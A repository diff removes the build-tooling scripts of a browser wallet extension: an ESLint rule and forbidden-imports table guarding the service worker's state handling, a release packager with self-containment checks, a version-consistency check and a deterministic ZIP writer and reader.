|
||||
schema: [],
|
||||
messages: {
|
||||
reachable:
|
||||
"The background must not reach the shared state singleton:" +
|
||||
" {{chain}}. The MV3 worker never populates it, so reading it" +
|
||||
" serves DEFAULT_STATE. Use getState()/updateState() from" +
|
||||
" src/background/state.js instead.",
|
||||
},
|
||||
},
|
||||
|
||||
create(context) {
|
||||
return {
|
||||
"Program:exit"(node) {
|
||||
const filename = context.filename;
|
||||
// ESLint lints from the repo root, which is also where the
|
||||
// forbidden paths are anchored.
|
||||
const forbidden = new Set(
|
||||
FORBIDDEN.map((module) =>
|
||||
path.resolve(context.cwd, module),
|
||||
),
|
||||
);
|
||||
const chain = chainToForbidden(
|
||||
path.resolve(filename),
|
||||
forbidden,
|
||||
);
|
||||
if (!chain) return;
|
||||
context.report({
|
||||
node,
|
||||
messageId: "reachable",
|
||||
data: {
|
||||
chain: chain
|
||||
.map((file) => path.relative(context.cwd, file))
|
||||
.join(" -> "),
|
||||
},
|
||||
});
|
||||
},
|
||||
};
|
||||
},
|
||||
};
|
||||
|
||||
module.exports = {
|
||||
rules: { "no-state-singleton-in-background": rule },
|
||||
};
|
||||
@@ -1,123 +0,0 @@
|
||||
// The modules a given entry point's bundle may not contain, keyed by the
|
||||
// repo-relative entry point.
|
||||
//
|
||||
// ONE table, read by both layers that act on it: build.js asserts it against
|
||||
// esbuild's own metafile (the guarantee), and
|
||||
// script/lib/eslint/noStateSingletonInBackground.js reports the same
|
||||
// prohibition in the editor (fast feedback). It lives here because a second
|
||||
// literal copy of the path is exactly how a rename disarms one layer while the
|
||||
// other still looks enforced.
|
||||
//
|
||||
// src/shared/state.js holds a module-level `state` object, loaded once by
|
||||
// loadState() and mutated in place from then on. That is the popup's model:
|
||||
// one page, one load at boot, one lifetime. The MV3 service worker has no
|
||||
// "once" — it is killed when idle and revived by the next message, nothing
|
||||
// loads state at module scope, and an unpopulated read was answered out of
|
||||
// DEFAULT_STATE in silence. Five defects came from that, one of which
|
||||
// destroyed a wallet (https://git.eeqj.de/sneak/AutistMask/issues/324). The
|
||||
// background has its own per-call storage layer in src/background/state.js
|
||||
// instead.
|
||||
//
|
||||
// What build.js's assertion covers, measured rather than assumed:
|
||||
//
|
||||
// - Any import of a listed module, at any hop, in any specifier syntax,
|
||||
// however esbuild resolved it. The check reads the input list esbuild
|
||||
// reported for the emitted bundle, so it is the resolution the shipped
|
||||
// file was built from and not a model of it. Measured on a computed
|
||||
// specifier that esbuild constant-folds (`require("../shared/" +
|
||||
// "state")`), on a computed specifier it resolves as a glob
|
||||
// (`import("../shared/" + variable)`), and on a symlink to the module
|
||||
// (esbuild reports the real path): each is `make build` exit 2.
|
||||
//
|
||||
// - Every background entry point, whether or not anyone remembered to list
|
||||
// it. A bundled entry point under BACKGROUND_ENTRY_PREFIX with no line in
|
||||
// this table fails the build (assertNoForbiddenInputs()), so adding a
|
||||
// second worker entry point is protected by default rather than protected
|
||||
// only if the person adding it knew about this file. Measured: bundling
|
||||
// src/background/worker2.js with no line here is `make build` exit 2.
|
||||
//
|
||||
// - NOT covered: a COPY of a listed module at another path. The table is
|
||||
// keyed by path, so `cp src/shared/state.js src/shared/stateCopy.js` plus
|
||||
// a background require of the copy is `make build` exit 0 and `make lint`
|
||||
// exit 0 (measured). The copy carries the singleton's own guard, so
|
||||
// defects 1-3 of https://git.eeqj.de/sneak/AutistMask/issues/324 — a read
|
||||
// of a field nothing loaded — become a loud StateNotLoadedError instead of
|
||||
// a silent DEFAULT_STATE. Defects 4 and 5 do NOT: a copy also carries
|
||||
// loadState(), and a stale read several awaits after a load, or a load
|
||||
// detaching the objects an in-flight handler is mutating, are silent over
|
||||
// a LOADED singleton whether it is the original or a copy. So the residual
|
||||
// is wider than "it fails loudly". A newly WRITTEN singleton has no
|
||||
// backstop at all.
|
||||
//
|
||||
// - NOT covered: a background-behaving entry point outside
|
||||
// BACKGROUND_ENTRY_PREFIX. The default protection above is keyed on that
|
||||
// directory, which is also what eslint.config.js scopes the rule to, so a
|
||||
// worker entry point placed somewhere else is covered by neither layer and
|
||||
// needs its own line here.
|
||||
//
|
||||
// The ESLint rule's bounds are its own and are narrower: it matches specifiers
|
||||
// textually, so a computed specifier and a symlink to a listed module are
|
||||
// reported by the build and not by the rule. Both are pinned as non-reports in
|
||||
// tests/backgroundStateLintRule.test.js and are `make build` exit 2 (measured).
|
||||
// A second background entry point reached by one of those two shapes is
|
||||
// therefore caught by the build and not by the rule — which is the same
|
||||
// division of labour as everywhere else here, not an extra hole.
|
||||
//
|
||||
// Every way the table itself can rot is a failure rather than a quiet pass:
|
||||
//
|
||||
// - a KEY no bundled entry point matched, and a listed MODULE this build
|
||||
// bundled nowhere: assertForbiddenTableCovered(), at the end of a build;
|
||||
// - an entry that lists NO modules, and a table with no entries at all:
|
||||
// assertTableWellFormed() below, at require time — so it fails the build
|
||||
// and the lint run alike, because the rule reads the same values and an
|
||||
// empty list leaves it with nothing to look for.
|
||||
//
|
||||
// All of it is pinned by tests/buildForbiddenInputs.test.js.
|
||||
|
||||
// What counts as a background entry point, and therefore must be listed above.
|
||||
// The build has no other notion of one: entry points are the paths handed to
|
||||
// bundle(), and this prefix is the narrowest rule that names the worker's
|
||||
// directory. eslint.config.js scopes the lint rule with the same prefix, from
|
||||
// this constant, so the two layers cannot disagree about what "background"
|
||||
// means.
|
||||
const BACKGROUND_ENTRY_PREFIX = "src/background/";
|
||||
|
||||
const FORBIDDEN_INPUTS = {
|
||||
"src/background/index.js": ["src/shared/state.js"],
|
||||
};
|
||||
|
||||
// Refuse a table that cannot prohibit anything. An entry whose module list is
|
||||
// empty passes every check in both layers while enforcing nothing: the build
|
||||
// finds no module to look for and records the entry as checked, and the rule's
|
||||
// forbidden set — Object.values(...).flat() — comes back empty, so a plain
|
||||
// `require("../shared/state")` in the worker is green everywhere. That is a
|
||||
// one-character edit, so it fails here, where the table is defined and both
|
||||
// layers must load it, rather than in either layer's own checks.
|
||||
function assertTableWellFormed(table) {
|
||||
const entries = Object.entries(table);
|
||||
if (entries.length === 0) {
|
||||
throw new Error(
|
||||
"FORBIDDEN_INPUTS is empty, so nothing is prohibited anywhere. " +
|
||||
"Removing the last entry disables the guarantee behind " +
|
||||
"https://git.eeqj.de/sneak/AutistMask/issues/324.",
|
||||
);
|
||||
}
|
||||
for (const [entry, modules] of entries) {
|
||||
if (!Array.isArray(modules) || modules.length === 0) {
|
||||
throw new Error(
|
||||
`FORBIDDEN_INPUTS["${entry}"] lists no modules, so it ` +
|
||||
`prohibits nothing while still looking enforced. Give it ` +
|
||||
`the modules that entry point may not reach, or remove ` +
|
||||
`the entry.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
assertTableWellFormed(FORBIDDEN_INPUTS);
|
||||
|
||||
module.exports = {
|
||||
BACKGROUND_ENTRY_PREFIX,
|
||||
FORBIDDEN_INPUTS,
|
||||
assertTableWellFormed,
|
||||
};
|
||||
@@ -1,294 +0,0 @@
|
||||
// Turn a verified dist/ into the two distributable archives.
|
||||
//
|
||||
// Invoked by script/package, which runs `make build` first so that dist/ has
|
||||
// already been checked against the build's own receipt (see the Build Receipts
|
||||
// section of README.md). This program does not build anything and does not
|
||||
// write into dist/: it reads the emitted tree and writes release/.
|
||||
//
|
||||
// release/autistmask-chrome-<version>.zip loaded via chrome://extensions
|
||||
// release/autistmask-firefox-<version>.xpi an UNSIGNED add-on, see README
|
||||
// release/SHA256SUMS
|
||||
//
|
||||
// Self-containment is checked rather than assumed, because the layout invites
|
||||
// exactly one mistake: build.js emits dist/styles.css at the dist/ ROOT,
|
||||
// outside both browser directories, and copies it into each of them as
|
||||
// src/popup/styles.css. A naive `zip -r dist/chrome` is therefore correct only
|
||||
// by accident, and would stop being correct the moment a reference pointed up
|
||||
// and out. So every path the manifest and the popup HTML reference is resolved
|
||||
// and required to be inside the archive, a reference that escapes the browser
|
||||
// directory is a hard failure, and anything sitting at the dist/ root is
|
||||
// listed as deliberately not shipped rather than silently dropped.
|
||||
//
|
||||
// The archive is then read back and compared byte for byte against the
|
||||
// directory it was built from. An archive nobody opened is a claim, not an
|
||||
// artifact.
|
||||
|
||||
"use strict";
|
||||
|
||||
const crypto = require("crypto");
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
|
||||
const { readZip, writeZip } = require("./zip");
|
||||
const { resolveVersion } = require("./version");
|
||||
|
||||
const ROOT = path.resolve(__dirname, "..", "..");
|
||||
const DIST = path.join(ROOT, "dist");
|
||||
const RELEASE = path.join(ROOT, "release");
|
||||
|
||||
const TARGETS = [
|
||||
{ dir: "chrome", ext: "zip" },
|
||||
// .xpi rather than .zip: it is the same container, but Firefox's install
|
||||
// flow keys off the extension.
|
||||
{ dir: "firefox", ext: "xpi" },
|
||||
];
|
||||
|
||||
// Strings in a manifest that name a file the extension loads. Matched by
|
||||
// shape, not by a list of manifest keys, so a key added in a later manifest
|
||||
// version is covered the day it appears rather than the day someone remembers
|
||||
// to extend a list here. Nothing else in either manifest looks like this: the
|
||||
// CSP strings, "<all_urls>", the version and the base64 key all fail it.
|
||||
const MANIFEST_PATH_RE =
|
||||
/^[A-Za-z0-9._][A-Za-z0-9._/-]*\.(?:js|css|html|json|png|svg|woff2?)$/;
|
||||
|
||||
// Local references out of an HTML document. Enough for what this repo emits —
|
||||
// one stylesheet link and one script tag — and anything it does not understand
|
||||
// is reported rather than passed over, see htmlReferences().
|
||||
const HTML_REF_RE = /(?:src|href)\s*=\s*["']([^"']+)["']/gi;
|
||||
|
||||
function fail(message) {
|
||||
throw new Error(message);
|
||||
}
|
||||
|
||||
function sha256(buf) {
|
||||
return crypto.createHash("sha256").update(buf).digest("hex");
|
||||
}
|
||||
|
||||
// Every regular file under dir, as archive-root-relative forward-slashed
|
||||
// paths. A symlink is refused rather than followed: build.js emits regular
|
||||
// files only, so a link under dist/ is not something the build produced, and
|
||||
// dereferencing one would put bytes from outside dist/ into the artifact.
|
||||
function listFiles(dir, prefix = "") {
|
||||
const out = [];
|
||||
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
|
||||
const rel = prefix ? `${prefix}/${entry.name}` : entry.name;
|
||||
if (entry.isSymbolicLink()) {
|
||||
fail(
|
||||
`${dir}/${entry.name} is a symlink. The build emits regular ` +
|
||||
`files only, so this is not something it produced and it ` +
|
||||
`will not be archived.`,
|
||||
);
|
||||
} else if (entry.isDirectory()) {
|
||||
out.push(...listFiles(path.join(dir, entry.name), rel));
|
||||
} else if (entry.isFile()) {
|
||||
out.push(rel);
|
||||
} else {
|
||||
fail(
|
||||
`${dir}/${entry.name} is neither a regular file nor a ` +
|
||||
`directory, so it is not something the build emitted`,
|
||||
);
|
||||
}
|
||||
}
|
||||
return out.sort();
|
||||
}
|
||||
|
||||
// Collect every string anywhere in the manifest that looks like a file it
|
||||
// loads, plus every string that tries to reach outside the extension root.
|
||||
// The second half is the point: "../styles.css" never matches
|
||||
// MANIFEST_PATH_RE, so without an explicit check an escaping reference would
|
||||
// read as "not a path" and the missing file would be found only by a user
|
||||
// whose popup rendered unstyled.
|
||||
function manifestReferences(value, found = new Set()) {
|
||||
if (typeof value === "string") {
|
||||
if (value.split("/").includes("..")) {
|
||||
fail(
|
||||
`the manifest references ${JSON.stringify(value)}, which ` +
|
||||
`points outside the extension root. Everything the ` +
|
||||
`browser loads has to be inside the archive; nothing ` +
|
||||
`above it is shipped.`,
|
||||
);
|
||||
}
|
||||
if (MANIFEST_PATH_RE.test(value)) found.add(value);
|
||||
} else if (Array.isArray(value)) {
|
||||
for (const v of value) manifestReferences(v, found);
|
||||
} else if (value && typeof value === "object") {
|
||||
for (const v of Object.values(value)) manifestReferences(v, found);
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
// Local references out of one HTML member, resolved against that member's own
|
||||
// directory and returned archive-relative. Absolute URLs, data: URIs and
|
||||
// in-page anchors are not files and are skipped; a relative reference that
|
||||
// climbs out of the archive root is a failure for the same reason as above.
|
||||
function htmlReferences(member, text) {
|
||||
const base = path.posix.dirname(member);
|
||||
const out = new Set();
|
||||
for (const match of text.matchAll(HTML_REF_RE)) {
|
||||
const ref = match[1].trim();
|
||||
if (ref === "" || ref.startsWith("#") || ref.startsWith("//")) continue;
|
||||
if (/^[a-z][a-z0-9+.-]*:/i.test(ref)) continue;
|
||||
if (ref.startsWith("/")) {
|
||||
fail(
|
||||
`${member} references ${JSON.stringify(ref)} from the ` +
|
||||
`extension root. Nothing here emits root-absolute ` +
|
||||
`references and this packager does not resolve them.`,
|
||||
);
|
||||
}
|
||||
const resolved = path.posix.normalize(path.posix.join(base, ref));
|
||||
if (resolved.startsWith("..")) {
|
||||
fail(
|
||||
`${member} references ${JSON.stringify(ref)}, which resolves ` +
|
||||
`outside the extension root. build.js copies the ` +
|
||||
`compiled stylesheet into each browser directory for ` +
|
||||
`exactly this reason: dist/styles.css lives at the dist/ ` +
|
||||
`root and is not part of either archive.`,
|
||||
);
|
||||
}
|
||||
out.add(resolved);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Everything the browser is told to load, and the assertion that all of it is
|
||||
// in the archive.
|
||||
function checkSelfContained(target, members, read) {
|
||||
if (!members.includes("manifest.json")) {
|
||||
fail(`dist/${target} has no manifest.json at its root`);
|
||||
}
|
||||
|
||||
const manifest = JSON.parse(read("manifest.json").toString("utf8"));
|
||||
const referenced = new Set(manifestReferences(manifest));
|
||||
|
||||
for (const member of members) {
|
||||
if (!member.endsWith(".html")) continue;
|
||||
for (const ref of htmlReferences(
|
||||
member,
|
||||
read(member).toString("utf8"),
|
||||
)) {
|
||||
referenced.add(ref);
|
||||
}
|
||||
}
|
||||
|
||||
const missing = [...referenced].filter((r) => !members.includes(r));
|
||||
if (missing.length > 0) {
|
||||
fail(
|
||||
`the ${target} archive would not be self-contained: it is told ` +
|
||||
`to load ${missing.join(", ")}, which ${
|
||||
missing.length === 1 ? "is" : "are"
|
||||
} not in it`,
|
||||
);
|
||||
}
|
||||
return { manifest, referenced };
|
||||
}
|
||||
|
||||
function main() {
|
||||
const version = resolveVersion(ROOT);
|
||||
|
||||
if (!fs.existsSync(DIST)) {
|
||||
fail(
|
||||
"there is no dist/ to package. script/package runs make build " +
|
||||
"first; run it rather than this program.",
|
||||
);
|
||||
}
|
||||
|
||||
fs.rmSync(RELEASE, { recursive: true, force: true });
|
||||
fs.mkdirSync(RELEASE, { recursive: true });
|
||||
|
||||
// Files the build emits at the dist/ root, outside both browser
|
||||
// directories. Printed rather than ignored: dist/styles.css is the
|
||||
// Tailwind output that build.js then copies into each browser directory,
|
||||
// so leaving it out is correct — but "correct and stated" and "dropped by
|
||||
// a glob" are different things, and only one of them survives the next
|
||||
// change to the build.
|
||||
const rootOnly = fs
|
||||
.readdirSync(DIST, { withFileTypes: true })
|
||||
.filter((e) => !e.isDirectory())
|
||||
.map((e) => e.name)
|
||||
.sort();
|
||||
if (rootOnly.length > 0) {
|
||||
console.log(
|
||||
`Not shipped (dist/ root, outside every browser directory, and ` +
|
||||
`referenced by nothing inside one): ${rootOnly.join(", ")}`,
|
||||
);
|
||||
}
|
||||
|
||||
const sums = [];
|
||||
for (const { dir, ext } of TARGETS) {
|
||||
const targetDir = path.join(DIST, dir);
|
||||
if (!fs.existsSync(targetDir)) {
|
||||
fail(`dist/${dir} does not exist; run make build`);
|
||||
}
|
||||
|
||||
const members = listFiles(targetDir);
|
||||
const readFromDir = (member) =>
|
||||
fs.readFileSync(path.join(targetDir, member));
|
||||
|
||||
const { manifest } = checkSelfContained(dir, members, readFromDir);
|
||||
if (manifest.version !== version) {
|
||||
fail(
|
||||
`dist/${dir}/manifest.json says version ${manifest.version} ` +
|
||||
`but this tree is ${version}. dist/ is stale: run make ` +
|
||||
`build.`,
|
||||
);
|
||||
}
|
||||
|
||||
const archive = writeZip(
|
||||
members.map((name) => ({ name, data: readFromDir(name) })),
|
||||
);
|
||||
const name = `autistmask-${dir}-${version}.${ext}`;
|
||||
const outPath = path.join(RELEASE, name);
|
||||
fs.writeFileSync(outPath, archive);
|
||||
|
||||
// Read the artifact back off disk, not the buffer that was just
|
||||
// written: what ships is the file.
|
||||
const written = fs.readFileSync(outPath);
|
||||
const entries = readZip(written);
|
||||
const inArchive = entries.map((e) => e.name).sort();
|
||||
if (inArchive.join("\n") !== members.join("\n")) {
|
||||
fail(
|
||||
`${name} does not hold the same members as dist/${dir}: ` +
|
||||
`archive has ${inArchive.length}, directory has ` +
|
||||
`${members.length}`,
|
||||
);
|
||||
}
|
||||
for (const entry of entries) {
|
||||
const onDisk = readFromDir(entry.name);
|
||||
if (sha256(entry.data) !== sha256(onDisk)) {
|
||||
fail(`${name} member ${entry.name} differs from dist/${dir}`);
|
||||
}
|
||||
}
|
||||
// Re-run the self-containment check against the ARCHIVE's own
|
||||
// contents. The directory passing it is not the claim being made.
|
||||
const byName = new Map(entries.map((e) => [e.name, e.data]));
|
||||
checkSelfContained(dir, inArchive, (m) => byName.get(m));
|
||||
|
||||
const digest = sha256(written);
|
||||
sums.push(`${digest} ${name}`);
|
||||
console.log(
|
||||
`${name}: ${entries.length} member(s), ${written.length} bytes, ` +
|
||||
`sha256 ${digest}`,
|
||||
);
|
||||
}
|
||||
|
||||
fs.writeFileSync(
|
||||
path.join(RELEASE, "SHA256SUMS"),
|
||||
sums.map((l) => `${l}\n`).join(""),
|
||||
);
|
||||
console.log(`Wrote release/ for version ${version}`);
|
||||
}
|
||||
|
||||
// Only when run as a program. The reference-resolving helpers are what decide
|
||||
// whether an archive is self-contained, so tests/packaging.test.js exercises
|
||||
// them directly and must be able to require this file without packaging
|
||||
// anything.
|
||||
if (require.main === module) {
|
||||
try {
|
||||
main();
|
||||
} catch (err) {
|
||||
console.error(`package: ${err && err.message ? err.message : err}`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { checkSelfContained, htmlReferences, manifestReferences };
|
||||
@@ -1,74 +0,0 @@
|
||||
// The version, and the rule that there is only one of it.
|
||||
//
|
||||
// Three files declare a version and none of them can be derived from another:
|
||||
// Chrome and Firefox each need their own manifest, both are copied to dist/
|
||||
// verbatim (tests/manifest.test.js asserts that what is in manifest/ is what
|
||||
// ships), and package.json's copy is what build.js compiles into the About
|
||||
// screen. So the single source of truth is enforced rather than generated —
|
||||
// they must all agree or there is no version and no build.
|
||||
//
|
||||
// Reading one of the three and ignoring the rest is what this replaces. That
|
||||
// shape cannot fail: it silently ships an extension whose About screen and
|
||||
// whose browser-reported version disagree, and whose release artifact is named
|
||||
// after whichever file the packager happened to read.
|
||||
//
|
||||
// Required by build.js, script/lib/package.js and tests/version.test.js, so
|
||||
// the build, the release artifacts and make check all apply the same rule to
|
||||
// the same files.
|
||||
|
||||
"use strict";
|
||||
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
|
||||
const VERSION_SOURCES = [
|
||||
"package.json",
|
||||
"manifest/chrome.json",
|
||||
"manifest/firefox.json",
|
||||
];
|
||||
|
||||
// Every declared version, in VERSION_SOURCES order, as { source, version }.
|
||||
// A file that declares nothing usable fails here rather than being skipped:
|
||||
// a missing version is not agreement.
|
||||
function declaredVersions(root) {
|
||||
return VERSION_SOURCES.map((source) => {
|
||||
const file = path.join(root, source);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(fs.readFileSync(file, "utf8"));
|
||||
} catch (e) {
|
||||
throw new Error(
|
||||
`${source} could not be read as JSON: ${e.message}`,
|
||||
);
|
||||
}
|
||||
const version = parsed.version;
|
||||
if (typeof version !== "string" || version.trim() === "") {
|
||||
throw new Error(
|
||||
`${source} declares no usable "version" (found ` +
|
||||
`${JSON.stringify(version)}). Every artifact is named and ` +
|
||||
`stamped with it, so there is nothing to build without it.`,
|
||||
);
|
||||
}
|
||||
return { source, version };
|
||||
});
|
||||
}
|
||||
|
||||
// The one version all three declare, or a failure naming every disagreeing
|
||||
// file and what it said.
|
||||
function resolveVersion(root) {
|
||||
const declared = declaredVersions(root);
|
||||
const distinct = [...new Set(declared.map((d) => d.version))];
|
||||
if (distinct.length !== 1) {
|
||||
throw new Error(
|
||||
"the declared versions disagree, so this tree has no version: " +
|
||||
declared.map((d) => `${d.source}=${d.version}`).join(", ") +
|
||||
". Set all of them to the same value: the manifests are what " +
|
||||
"the browser reports and package.json is what the About " +
|
||||
"screen shows, and a build that picked one of them would " +
|
||||
"ship the disagreement.",
|
||||
);
|
||||
}
|
||||
return distinct[0];
|
||||
}
|
||||
|
||||
module.exports = { VERSION_SOURCES, declaredVersions, resolveVersion };
|
||||
@@ -1,274 +0,0 @@
|
||||
// A minimal, deterministic ZIP writer and reader.
|
||||
//
|
||||
// Used by script/lib/package.js to build the distributable archives: a Chrome
|
||||
// zip and a Firefox XPI are both ordinary zip files with manifest.json at the
|
||||
// root, so one implementation covers both.
|
||||
//
|
||||
// Why this rather than a package or the zip(1) binary. A dependency would have
|
||||
// to be hash-pinned like everything else in REPO_POLICIES.md, and this is
|
||||
// about a hundred lines of stdlib zlib for a format the archives use two
|
||||
// features of. The binary is worse: the release artifact would then depend on
|
||||
// whichever Info-ZIP the machine happens to have, which is the same objection
|
||||
// that keeps linting inside a container.
|
||||
//
|
||||
// Deterministic on purpose. Entries are sorted by name, every timestamp is the
|
||||
// same fixed 1980-01-01 the format's epoch starts at, and the compression
|
||||
// level is fixed, so building the same dist/ twice produces byte-identical
|
||||
// archives and the sha256 in SHA256SUMS is a property of the input rather than
|
||||
// of the clock. Two builds of the same commit that disagree are then visible
|
||||
// instead of expected.
|
||||
//
|
||||
// Deliberately NOT implemented: zip64, encryption, data descriptors,
|
||||
// directory entries (browsers infer directories from member paths), and
|
||||
// anything to do with symlinks. writeZip refuses input it cannot represent
|
||||
// rather than emitting an archive that is quietly wrong.
|
||||
|
||||
"use strict";
|
||||
|
||||
const zlib = require("zlib");
|
||||
|
||||
const LOCAL_SIG = 0x04034b50;
|
||||
const CENTRAL_SIG = 0x02014b50;
|
||||
const EOCD_SIG = 0x06054b50;
|
||||
|
||||
const METHOD_STORE = 0;
|
||||
const METHOD_DEFLATE = 8;
|
||||
|
||||
// 1980-01-01 00:00:00, the earliest the MS-DOS timestamp fields can express.
|
||||
const DOS_DATE = (0 << 9) | (1 << 5) | 1;
|
||||
const DOS_TIME = 0;
|
||||
|
||||
// Unix regular file, mode 0644, in the high 16 bits, which is where the "made
|
||||
// by unix" convention puts it.
|
||||
// >>> 0 because JS shifts are signed 32-bit and this one sets the top bit.
|
||||
const EXTERNAL_ATTRS = (0o100644 << 16) >>> 0;
|
||||
const VERSION_MADE_BY = (3 << 8) | 20; // unix, needs zip 2.0
|
||||
const VERSION_NEEDED = 20;
|
||||
|
||||
// Without zip64 every size and offset is a u32.
|
||||
const MAX_U32 = 0xffffffff;
|
||||
|
||||
const CRC_TABLE = (() => {
|
||||
const table = new Int32Array(256);
|
||||
for (let i = 0; i < 256; i++) {
|
||||
let c = i;
|
||||
for (let k = 0; k < 8; k++) {
|
||||
c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
|
||||
}
|
||||
table[i] = c;
|
||||
}
|
||||
return table;
|
||||
})();
|
||||
|
||||
// Written out rather than taken from zlib.crc32, which only exists from node
|
||||
// 22.2: this runs from script/ on whatever node the host has as well as inside
|
||||
// the pinned image, and a checksum that silently is not there is worse than
|
||||
// twelve lines.
|
||||
function crc32(buf) {
|
||||
let c = -1;
|
||||
for (let i = 0; i < buf.length; i++) {
|
||||
c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
|
||||
}
|
||||
return (c ^ -1) >>> 0;
|
||||
}
|
||||
|
||||
// Member names are stored as raw bytes. Anything outside ASCII would need the
|
||||
// UTF-8 flag and interoperability care that nothing this repo emits requires,
|
||||
// so it is refused instead of guessed at.
|
||||
function encodeName(name) {
|
||||
if (typeof name !== "string" || name === "") {
|
||||
throw new Error(`zip: unusable member name ${JSON.stringify(name)}`);
|
||||
}
|
||||
const segments = name.split("/");
|
||||
if (
|
||||
name.startsWith("/") ||
|
||||
name.includes("\\") ||
|
||||
segments.some((s) => s === "" || s === "." || s === "..")
|
||||
) {
|
||||
throw new Error(
|
||||
`zip: refusing member name ${JSON.stringify(name)}: archive ` +
|
||||
`members must be relative paths under the archive root`,
|
||||
);
|
||||
}
|
||||
if (/[^\x20-\x7e]/.test(name)) {
|
||||
throw new Error(
|
||||
`zip: refusing non-ASCII member name ${JSON.stringify(name)}`,
|
||||
);
|
||||
}
|
||||
return Buffer.from(name, "ascii");
|
||||
}
|
||||
|
||||
function compress(data) {
|
||||
if (data.length === 0) {
|
||||
return { method: METHOD_STORE, body: data };
|
||||
}
|
||||
const deflated = zlib.deflateRawSync(data, { level: 9 });
|
||||
if (deflated.length >= data.length) {
|
||||
return { method: METHOD_STORE, body: data };
|
||||
}
|
||||
return { method: METHOD_DEFLATE, body: deflated };
|
||||
}
|
||||
|
||||
// entries: [{ name, data }]. Returns the archive as a Buffer.
|
||||
function writeZip(entries) {
|
||||
if (!Array.isArray(entries) || entries.length === 0) {
|
||||
throw new Error("zip: refusing to write an archive with no members");
|
||||
}
|
||||
|
||||
const sorted = [...entries].sort((a, b) => (a.name < b.name ? -1 : 1));
|
||||
const seen = new Set();
|
||||
const locals = [];
|
||||
const centrals = [];
|
||||
let offset = 0;
|
||||
|
||||
for (const entry of sorted) {
|
||||
const name = encodeName(entry.name);
|
||||
if (seen.has(entry.name)) {
|
||||
throw new Error(`zip: duplicate member ${entry.name}`);
|
||||
}
|
||||
seen.add(entry.name);
|
||||
|
||||
const data = Buffer.from(entry.data);
|
||||
const { method, body } = compress(data);
|
||||
if (data.length > MAX_U32 || body.length > MAX_U32) {
|
||||
throw new Error(
|
||||
`zip: ${entry.name} is too large for a non-zip64 archive`,
|
||||
);
|
||||
}
|
||||
const crc = crc32(data);
|
||||
|
||||
const local = Buffer.alloc(30 + name.length);
|
||||
local.writeUInt32LE(LOCAL_SIG, 0);
|
||||
local.writeUInt16LE(VERSION_NEEDED, 4);
|
||||
local.writeUInt16LE(0, 6);
|
||||
local.writeUInt16LE(method, 8);
|
||||
local.writeUInt16LE(DOS_TIME, 10);
|
||||
local.writeUInt16LE(DOS_DATE, 12);
|
||||
local.writeUInt32LE(crc, 14);
|
||||
local.writeUInt32LE(body.length, 18);
|
||||
local.writeUInt32LE(data.length, 22);
|
||||
local.writeUInt16LE(name.length, 26);
|
||||
local.writeUInt16LE(0, 28);
|
||||
name.copy(local, 30);
|
||||
|
||||
const central = Buffer.alloc(46 + name.length);
|
||||
central.writeUInt32LE(CENTRAL_SIG, 0);
|
||||
central.writeUInt16LE(VERSION_MADE_BY, 4);
|
||||
central.writeUInt16LE(VERSION_NEEDED, 6);
|
||||
central.writeUInt16LE(0, 8);
|
||||
central.writeUInt16LE(method, 10);
|
||||
central.writeUInt16LE(DOS_TIME, 12);
|
||||
central.writeUInt16LE(DOS_DATE, 14);
|
||||
central.writeUInt32LE(crc, 16);
|
||||
central.writeUInt32LE(body.length, 20);
|
||||
central.writeUInt32LE(data.length, 24);
|
||||
central.writeUInt16LE(name.length, 28);
|
||||
central.writeUInt16LE(0, 30);
|
||||
central.writeUInt16LE(0, 32);
|
||||
central.writeUInt16LE(0, 34);
|
||||
central.writeUInt16LE(0, 36);
|
||||
central.writeUInt32LE(EXTERNAL_ATTRS, 38);
|
||||
if (offset > MAX_U32) {
|
||||
throw new Error("zip: archive too large for a non-zip64 archive");
|
||||
}
|
||||
central.writeUInt32LE(offset, 42);
|
||||
name.copy(central, 46);
|
||||
|
||||
locals.push(local, body);
|
||||
centrals.push(central);
|
||||
offset += local.length + body.length;
|
||||
}
|
||||
|
||||
const centralBuf = Buffer.concat(centrals);
|
||||
const eocd = Buffer.alloc(22);
|
||||
eocd.writeUInt32LE(EOCD_SIG, 0);
|
||||
eocd.writeUInt16LE(0, 4);
|
||||
eocd.writeUInt16LE(0, 6);
|
||||
eocd.writeUInt16LE(sorted.length, 8);
|
||||
eocd.writeUInt16LE(sorted.length, 10);
|
||||
eocd.writeUInt32LE(centralBuf.length, 12);
|
||||
eocd.writeUInt32LE(offset, 16);
|
||||
eocd.writeUInt16LE(0, 20);
|
||||
|
||||
return Buffer.concat([...locals, centralBuf, eocd]);
|
||||
}
|
||||
|
||||
// Read an archive back into [{ name, data }], from the central directory
|
||||
// rather than by scanning for local headers: the central directory is the
|
||||
// authoritative index, and a member reachable only by scanning is one a real
|
||||
// unzipper would not extract.
|
||||
//
|
||||
// Every member's CRC is checked. The point of reading an archive back is to
|
||||
// establish that it holds what it was meant to hold, so a member that does not
|
||||
// decompress to its recorded checksum is a failure and never a warning.
|
||||
function readZip(buf) {
|
||||
if (buf.length < 22) {
|
||||
throw new Error("zip: too short to be an archive");
|
||||
}
|
||||
// No archive this writes has a trailing comment, so the EOCD is the last
|
||||
// 22 bytes. Anything else is not an archive this produced.
|
||||
const eocdAt = buf.length - 22;
|
||||
if (buf.readUInt32LE(eocdAt) !== EOCD_SIG) {
|
||||
throw new Error(
|
||||
"zip: no end-of-central-directory record at the end of the " +
|
||||
"archive (a trailing comment, or not a zip at all)",
|
||||
);
|
||||
}
|
||||
const count = buf.readUInt16LE(eocdAt + 10);
|
||||
const centralSize = buf.readUInt32LE(eocdAt + 12);
|
||||
let at = buf.readUInt32LE(eocdAt + 16);
|
||||
if (at + centralSize > eocdAt) {
|
||||
throw new Error("zip: central directory runs past the archive");
|
||||
}
|
||||
|
||||
const out = [];
|
||||
for (let i = 0; i < count; i++) {
|
||||
if (buf.readUInt32LE(at) !== CENTRAL_SIG) {
|
||||
throw new Error(`zip: bad central directory entry ${i}`);
|
||||
}
|
||||
